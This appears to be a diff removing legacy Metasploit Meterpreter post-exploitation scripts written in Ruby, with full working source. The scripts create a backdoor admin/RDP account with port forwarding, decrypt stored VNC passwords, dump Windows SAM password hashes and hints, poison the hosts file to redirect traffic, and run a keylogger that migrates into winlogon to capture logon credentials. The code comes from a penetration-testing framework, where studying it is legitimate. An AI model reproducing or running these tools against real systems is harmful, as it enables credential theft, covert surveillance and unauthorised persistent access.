print_status "\tAdding User: #{username} to local group '#{rdu}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
|
||||
|
||||
print_status "\tAdding User: #{username} to local group '#{admin}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
|
||||
print_status "You can now login with the created user"
|
||||
else
|
||||
print_error("Account could not be created")
|
||||
print_error("Error:")
|
||||
addusr_out.each_line do |l|
|
||||
print_error("\t#{l.chomp}")
|
||||
end
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def message
|
||||
print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator"
|
||||
print_status "Carlos Perez carlos_perez@darkoperator.com"
|
||||
end
|
||||
################## MAIN ##################
|
||||
# Parsing of Options
|
||||
usr = nil
|
||||
pass = nil
|
||||
lang = nil
|
||||
lport = 1024 + rand(1024)
|
||||
enbl = nil
|
||||
frwrd = nil
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-u"
|
||||
usr = val
|
||||
when "-p"
|
||||
pass = val
|
||||
when "-h"
|
||||
usage
|
||||
when "-f"
|
||||
frwrd = true
|
||||
lport = val
|
||||
when "-e"
|
||||
enbl = true
|
||||
end
|
||||
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if args.length > 0
|
||||
if enbl or (usr and pass)
|
||||
message
|
||||
if enbl
|
||||
if is_admin?
|
||||
enablerd()
|
||||
enabletssrv()
|
||||
else
|
||||
print_error("Insufficient privileges, Remote Desktop Service was not modified.")
|
||||
end
|
||||
end
|
||||
|
||||
if usr and pass
|
||||
if is_admin?
|
||||
addrdpusr(session, usr, pass)
|
||||
else
|
||||
print_error("Insufficient privileges, account was not be created.")
|
||||
end
|
||||
end
|
||||
|
||||
if frwrd == true
|
||||
print_status("Starting the port forwarding at local port #{lport}")
|
||||
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
|
||||
end
|
||||
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
|
||||
else
|
||||
usage
|
||||
end
|
||||
|
||||
else
|
||||
usage
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,109 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#----------------------------------------------------------------
|
||||
# Meterpreter script to obtain the VNC password out of the
|
||||
# registry and print its decoded cleartext
|
||||
#
|
||||
# by Kurt Grutzmacher <grutz@jingojango.net>
|
||||
#
|
||||
# rev history
|
||||
# -----------
|
||||
# 1.0 - 9/24/9 - Initial release
|
||||
#----------------------------------------------------------------
|
||||
|
||||
require 'rex/proto/rfb/cipher'
|
||||
|
||||
session = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-k" => [ true, "Specific registry key to search (minus Password)."],
|
||||
"-l" => [ false, "List default key locations"]
|
||||
)
|
||||
|
||||
def usage()
|
||||
print("\nPull the VNC Password from a Windows Meterpreter session\n")
|
||||
print("By default an internal list of keys will be searched.\n\n")
|
||||
print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n")
|
||||
print("\t-l\tList default key locations\n\n")
|
||||
completed
|
||||
end
|
||||
|
||||
def get_vncpw(session, key)
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
|
||||
begin
|
||||
return open_key.query_value('Password')
|
||||
rescue
|
||||
# no registry key found or other error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def listkeylocations(keys)
|
||||
print_line("\nVNC Registry Key Locations")
|
||||
print_line("--------------------------\n")
|
||||
keys.each { |key|
|
||||
print_line("\t#{key}")
|
||||
}
|
||||
completed
|
||||
end
|
||||
|
||||
# fixed des key
|
||||
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
|
||||
# 5A B2 CD C0 BA DC AF 13
|
||||
# some common places for VNC password hashes
|
||||
keys = [
|
||||
'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3',
|
||||
'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default',
|
||||
'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default',
|
||||
'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4',
|
||||
'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default',
|
||||
]
|
||||
|
||||
# parse the command line
|
||||
listkeylocs = false
|
||||
keytosearch = nil
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-l"
|
||||
listkeylocations(keys)
|
||||
when "-k"
|
||||
keytosearch = val
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if keytosearch == nil
|
||||
print_status("Searching for VNC Passwords in the registry....")
|
||||
keys.each { |key|
|
||||
vncpw = get_vncpw(session, key)
|
||||
if vncpw
|
||||
vncpw_hextext = vncpw.data.unpack("H*").to_s
|
||||
vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
|
||||
print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}")
|
||||
end
|
||||
}
|
||||
else
|
||||
print_status("Searching in regkey: #{keytosearch}")
|
||||
vncpw = get_vncpw(session, keytosearch)
|
||||
if vncpw
|
||||
vncpw_hextext = vncpw.data.unpack("H*").to_s
|
||||
vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
|
||||
print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}")
|
||||
else
|
||||
print_status("Not found")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,306 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Implement pwdump (hashdump) through registry reads + syskey
|
||||
|
||||
@client = client
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-p" => [ true, "The SMB port used to associated credentials."]
|
||||
)
|
||||
|
||||
smb_port = 445
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "hashdump -- dump SMB hashes to the database"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-p"
|
||||
smb_port = val.to_i
|
||||
end
|
||||
}
|
||||
|
||||
# Constants for SAM decryption
|
||||
@sam_lmpass = "LMPASSWORD\x00"
|
||||
@sam_ntpass = "NTPASSWORD\x00"
|
||||
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
|
||||
@sam_numeric = "0123456789012345678901234567890123456789\x00"
|
||||
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
|
||||
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
|
||||
|
||||
@des_odd_parity = [
|
||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
||||
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
||||
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
||||
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
||||
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
||||
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
||||
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
||||
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
||||
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
||||
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
||||
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
||||
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
||||
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
||||
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
||||
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
||||
]
|
||||
|
||||
def capture_boot_key
|
||||
bootkey = ""
|
||||
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
||||
%W{JD Skew1 GBG Data}.each do |k|
|
||||
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
||||
return nil if not ok
|
||||
bootkey << [ok.query_class.to_i(16)].pack("V")
|
||||
ok.close
|
||||
end
|
||||
|
||||
keybytes = bootkey.unpack("C*")
|
||||
descrambled = ""
|
||||
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
|
||||
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
||||
|
||||
0.upto(keybytes.length-1) do |x|
|
||||
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
|
||||
end
|
||||
|
||||
|
||||
descrambled
|
||||
end
|
||||
|
||||
def capture_hboot_key(bootkey)
|
||||
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
|
||||
return if not ok
|
||||
vf = ok.query_value("F")
|
||||
return if not vf
|
||||
vf = vf.data
|
||||
ok.close
|
||||
|
||||
hash = Digest::MD5.new
|
||||
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
|
||||
|
||||
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
||||
rc4.key = hash.digest
|
||||
hbootkey = rc4.update(vf[0x80, 32])
|
||||
hbootkey << rc4.final
|
||||
return hbootkey
|
||||
end
|
||||
|
||||
def capture_user_keys
|
||||
users = {}
|
||||
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
|
||||
return if not ok
|
||||
|
||||
ok.enum_key.each do |usr|
|
||||
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
|
||||
next if usr == 'Names'
|
||||
users[usr.to_i(16)] ||={}
|
||||
users[usr.to_i(16)][:F] = uk.query_value("F").data
|
||||
users[usr.to_i(16)][:V] = uk.query_value("V").data
|
||||
|
||||
#Attempt to get Hints (from Win7/Win8 Location)
|
||||
begin
|
||||
users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0])
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
users[usr.to_i(16)][:UserPasswordHint] = nil
|
||||
end
|
||||
|
||||
uk.close
|
||||
end
|
||||
ok.close
|
||||
|
||||
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
|
||||
ok.enum_key.each do |usr|
|
||||
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
|
||||
r = uk.query_value("")
|
||||
rid = r.type
|
||||
users[rid] ||= {}
|
||||
users[rid][:Name] = usr
|
||||
|
||||
#Attempt to get Hints (from WinXP Location) only if it's not set yet
|
||||
if users[rid][:UserPasswordHint].nil?
|
||||
begin
|
||||
uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
|
||||
users[rid][:UserPasswordHint] = uk_hint.query_value("").data
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
users[rid][:UserPasswordHint] = nil
|
||||
end
|
||||
end
|
||||
|
||||
uk.close
|
||||
end
|
||||
ok.close
|
||||
users
|
||||
end
|
||||
|
||||
def decrypt_user_keys(hbootkey, users)
|
||||
users.each_key do |rid|
|
||||
user = users[rid]
|
||||
|
||||
hashlm_enc = ""
|
||||
hashnt_enc = ""
|
||||
|
||||
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
|
||||
|
||||
#Check if hashes exist (if 20, then we've got a hash)
|
||||
lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
|
||||
nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
|
||||
|
||||
#If we have a hashes, then parse them (Note: NT is dependant on LM)
|
||||
hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
|
||||
hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
|
||||
|
||||
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
|
||||
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
|
||||
end
|
||||
|
||||
users
|
||||
end
|
||||
|
||||
def decode_windows_hint(e_string)
|
||||
d_string = ""
|
||||
e_string.scan(/..../).each do |chunk|
|
||||
bytes = chunk.scan(/../)
|
||||
d_string += (bytes[1] + bytes[0]).to_s.hex.chr
|
||||
end
|
||||
d_string
|
||||
end
|
||||
|
||||
def convert_des_56_to_64(kstr)
|
||||
key = []
|
||||
str = kstr.unpack("C*")
|
||||
|
||||
key[0] = str[0] >> 1
|
||||
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
||||
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
||||
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
||||
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
||||
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
||||
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
||||
key[7] = str[6] & 0x7F
|
||||
|
||||
0.upto(7) do |i|
|
||||
key[i] = ( key[i] << 1)
|
||||
key[i] = @des_odd_parity[key[i]]
|
||||
end
|
||||
|
||||
key.pack("C*")
|
||||
end
|
||||
|
||||
def rid_to_key(rid)
|
||||
|
||||
s1 = [rid].pack("V")
|
||||
s1 << s1[0,3]
|
||||
|
||||
s2b = [rid].pack("V").unpack("C4")
|
||||
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
|
||||
s2 << s2[0,3]
|
||||
|
||||
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
|
||||
end
|
||||
|
||||
def decrypt_user_hash(rid, hbootkey, enchash, pass)
|
||||
|
||||
if(enchash.empty?)
|
||||
case pass
|
||||
when @sam_lmpass
|
||||
return @sam_empty_lm
|
||||
when @sam_ntpass
|
||||
return @sam_empty_nt
|
||||
end
|
||||
return ""
|
||||
end
|
||||
|
||||
des_k1, des_k2 = rid_to_key(rid)
|
||||
|
||||
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
d1.padding = 0
|
||||
d1.key = des_k1
|
||||
|
||||
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
d2.padding = 0
|
||||
d2.key = des_k2
|
||||
|
||||
md5 = Digest::MD5.new
|
||||
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
|
||||
|
||||
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
|
||||
rc4.key = md5.digest
|
||||
okey = rc4.update(enchash)
|
||||
|
||||
d1o = d1.decrypt.update(okey[0,8])
|
||||
d1o << d1.final
|
||||
|
||||
d2o = d2.decrypt.update(okey[8,8])
|
||||
d1o << d2.final
|
||||
d1o + d2o
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
begin
|
||||
|
||||
print_status("Obtaining the boot key...")
|
||||
bootkey = capture_boot_key
|
||||
|
||||
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
|
||||
hbootkey = capture_hboot_key(bootkey)
|
||||
|
||||
print_status("Obtaining the user list and keys...")
|
||||
users = capture_user_keys
|
||||
|
||||
print_status("Decrypting user keys...")
|
||||
users = decrypt_user_keys(hbootkey, users)
|
||||
|
||||
print_status("Dumping password hints...")
|
||||
print_line()
|
||||
hint_count = 0
|
||||
users.keys.sort{|a,b| a<=>b}.each do |rid|
|
||||
#If we have a hint then print it
|
||||
if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
|
||||
print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""
|
||||
hint_count += 1
|
||||
end
|
||||
end
|
||||
print_line("No users with password hints on this system") if hint_count == 0
|
||||
print_line()
|
||||
|
||||
print_status("Dumping password hashes...")
|
||||
print_line()
|
||||
print_line()
|
||||
users.keys.sort{|a,b| a<=>b}.each do |rid|
|
||||
hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
|
||||
@client.framework.db.report_auth_info(
|
||||
:host => client.sock.peerhost,
|
||||
:port => smb_port,
|
||||
:sname => 'smb',
|
||||
:user => users[rid][:Name],
|
||||
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
|
||||
:type => "smb_hash"
|
||||
)
|
||||
|
||||
print_line hashstring
|
||||
|
||||
end
|
||||
print_line()
|
||||
print_line()
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Meterpreter Exception: #{e.class} #{e}")
|
||||
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,108 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Meterpreter script for modifying the hosts file in windows
|
||||
# given a single entrie or several in a file and clear the
|
||||
# DNS cache on the target machine.
|
||||
# This script works with Windows 2000,Windows XP,Windows 2003,
|
||||
# Windows Vista and Windows 2008.
|
||||
# Provided: carlos_perez[at]darkoperator[dot]com
|
||||
# Version: 0.1.0
|
||||
# Note: in Vista UAC must be disabled to be able to perform hosts
|
||||
# file modifications.
|
||||
################## Variable Declarations ##################
|
||||
session = client
|
||||
# Setting Arguments
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Options." ],
|
||||
"-e" => [ true, "Host entry in the format of IP,Hostname." ],
|
||||
"-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ]
|
||||
)
|
||||
def usage
|
||||
print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
|
||||
print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
|
||||
print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
|
||||
print_line("entry can be provided or a series of entries provided a file with one per line.")
|
||||
print_line(@@exec_opts.usage)
|
||||
print_line("Example:\n\n")
|
||||
print_line("run hostsedit -e 127.0.0.1,google.com\n")
|
||||
print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
record = ""
|
||||
#Set path to the hosts file
|
||||
hosts = session.sys.config.getenv('SYSTEMROOT')+"\\System32\\drivers\\etc\\hosts"
|
||||
#Function check if UAC is enabled
|
||||
def checkuac(session)
|
||||
winver = session.sys.config.sysinfo
|
||||
if winver["OS"] =~ (/Windows 7|Vista/)
|
||||
print_status("Checking if UAC is enabled.")
|
||||
open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
|
||||
value = open_key.query_value("EnableLUA").data
|
||||
if value == 1
|
||||
print_status("\tUAC is enabled")
|
||||
raise "Unable to continue UAC is enabbled."
|
||||
else
|
||||
print_status("\tUAC is disabled")
|
||||
status = false
|
||||
end
|
||||
end
|
||||
end
|
||||
#Function for adding record to hosts file
|
||||
def add2hosts(session,record,hosts)
|
||||
ip,host = record.split(",")
|
||||
print_status("Adding Record for Host #{host} with IP #{ip}")
|
||||
session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
|
||||
end
|
||||
|
||||
#Make a backup of the hosts file on the target
|
||||
def backuphosts(session,hosts)
|
||||
random = sprintf("%.5d",rand(100000))
|
||||
print_status("Making Backup of the hosts file.")
|
||||
session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
|
||||
print_status("Backup loacated in #{hosts}#{random}.back")
|
||||
end
|
||||
# Clear DNS Cached entries
|
||||
def cleardnscach(session)
|
||||
print_status("Clearing the DNS Cache")
|
||||
session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-e"
|
||||
checkuac(session)
|
||||
backuphosts(session,hosts)
|
||||
add2hosts(session,val,hosts)
|
||||
cleardnscach(session)
|
||||
when "-l"
|
||||
checkuac(session)
|
||||
if not ::File.exist?(val)
|
||||
raise "File #{val} does not exists!"
|
||||
else
|
||||
backuphosts(session,hosts)
|
||||
::File.open(val, "r").each_line do |line|
|
||||
next if line.strip.length < 1
|
||||
next if line[0,1] == "#"
|
||||
add2hosts(session,line.chomp,hosts)
|
||||
end
|
||||
cleardnscach(session)
|
||||
end
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
if args.length == 0
|
||||
usage
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,212 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
# Updates by Shellster
|
||||
#-------------------------------------------------------------------------------
|
||||
session = client
|
||||
# Script Options
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
|
||||
"-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ],
|
||||
"-l" => [ false, "Lock screen when capturing Winlogon credentials."],
|
||||
"-k" => [ false, "Kill old Process"]
|
||||
)
|
||||
def usage
|
||||
print_line("Keylogger Recorder Meterpreter Script")
|
||||
print_line("This script will start the Meterpreter Keylogger and save all keys")
|
||||
print_line("in a log file for later anlysis. To stop capture hit Ctrl-C")
|
||||
print_line("Usage:" + @@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
#Get Hostname
|
||||
host,port = session.session_host, session.session_port
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'keylogrecorder')
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
#logfile name
|
||||
logfile = logs + ::File::Separator + host + filenameinfo + ".txt"
|
||||
|
||||
#Interval for collecting Keystrokes in seconds
|
||||
keytime = 30
|
||||
|
||||
#Type of capture
|
||||
captype = 2
|
||||
# Function for locking the screen -- Thanks for the idea and API call Mubix
|
||||
def lock_screen
|
||||
print_status("Locking Screen...")
|
||||
lock_info = client.railgun.user32.LockWorkStation()
|
||||
if lock_info["GetLastError"] == 0
|
||||
print_status("Screen has been locked")
|
||||
else
|
||||
print_error("Screen lock Failed")
|
||||
end
|
||||
end
|
||||
#Function to Migrate in to Explorer process to be able to interact with desktop
|
||||
def explrmigrate(session,captype,lock,kill)
|
||||
#begin
|
||||
if captype.to_i == 0
|
||||
process2mig = "explorer.exe"
|
||||
elsif captype.to_i == 1
|
||||
if is_uac_enabled?
|
||||
print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
process2mig = "winlogon.exe"
|
||||
if lock
|
||||
lock_screen
|
||||
end
|
||||
else
|
||||
process2mig = "explorer.exe"
|
||||
end
|
||||
# Actual migration
|
||||
mypid = session.sys.process.getpid
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
|
||||
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
|
||||
session.core.migrate(x['pid'].to_i)
|
||||
print_status("Migration Successful!!")
|
||||
|
||||
if (kill)
|
||||
begin
|
||||
print_status("Killing old process")
|
||||
client.sys.process.kill(mypid)
|
||||
print_status("Old process killed.")
|
||||
rescue
|
||||
print_status("Failed to kill old process.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return true
|
||||
# rescue
|
||||
# print_status("Failed to migrate process!")
|
||||
# return false
|
||||
# end
|
||||
end
|
||||
|
||||
#Function for starting the keylogger
|
||||
def startkeylogger(session)
|
||||
begin
|
||||
#print_status("Grabbing Desktop Keyboard Input...")
|
||||
#session.ui.grab_desktop
|
||||
print_status("Starting the keystroke sniffer...")
|
||||
session.ui.keyscan_start
|
||||
return true
|
||||
rescue
|
||||
print_status("Failed to start Keylogging!")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def write_keylog_data session, logfile
|
||||
data = session.ui.keyscan_dump
|
||||
outp = ""
|
||||
data.unpack("n*").each do |inp|
|
||||
fl = (inp & 0xff00) >> 8
|
||||
vk = (inp & 0xff)
|
||||
kc = VirtualKeyCodes[vk]
|
||||
|
||||
f_shift = fl & (1<<1)
|
||||
f_ctrl = fl & (1<<2)
|
||||
f_alt = fl & (1<<3)
|
||||
|
||||
if(kc)
|
||||
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
|
||||
case name
|
||||
when /^.$/
|
||||
outp << name
|
||||
when /shift|click/i
|
||||
when 'Space'
|
||||
outp << " "
|
||||
else
|
||||
outp << " <#{name}> "
|
||||
end
|
||||
else
|
||||
outp << " <0x%.2x> " % vk
|
||||
end
|
||||
end
|
||||
|
||||
sleep(2)
|
||||
|
||||
if(outp.length > 0)
|
||||
file_local_write(logfile,"#{outp}\n")
|
||||
end
|
||||
end
|
||||
|
||||
# Function for Collecting Capture
|
||||
def keycap(session, keytime, logfile)
|
||||
begin
|
||||
rec = 1
|
||||
#Creating DB for captured keystrokes
|
||||
file_local_write(logfile,"")
|
||||
|
||||
print_status("Keystrokes being saved in to #{logfile}")
|
||||
#Inserting keystrokes every number of seconds specified
|
||||
print_status("Recording ")
|
||||
while rec == 1
|
||||
#getting and writing Keystrokes
|
||||
write_keylog_data session, logfile
|
||||
|
||||
sleep(keytime.to_i)
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status "Saving last few keystrokes"
|
||||
write_keylog_data session, logfile
|
||||
|
||||
print("\n")
|
||||
print_status("#{e.class} #{e}")
|
||||
print_status("Stopping keystroke sniffer...")
|
||||
session.ui.keyscan_stop
|
||||
end
|
||||
end
|
||||
|
||||
# Parsing of Options
|
||||
|
||||
helpcall = 0
|
||||
lock = false
|
||||
kill = false
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-t"
|
||||
keytime = val
|
||||
when "-c"
|
||||
captype = val
|
||||
when "-h"
|
||||
usage
|
||||
when "-l"
|
||||
lock = true
|
||||
when "-k"
|
||||
kill = true
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if (captype.to_i == 2)
|
||||
if startkeylogger(session)
|
||||
keycap(session, keytime, logfile)
|
||||
end
|
||||
elsif explrmigrate(session,captype,lock, kill)
|
||||
if startkeylogger(session)
|
||||
keycap(session, keytime, logfile)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,619 +0,0 @@
|
|||
##
|
||||
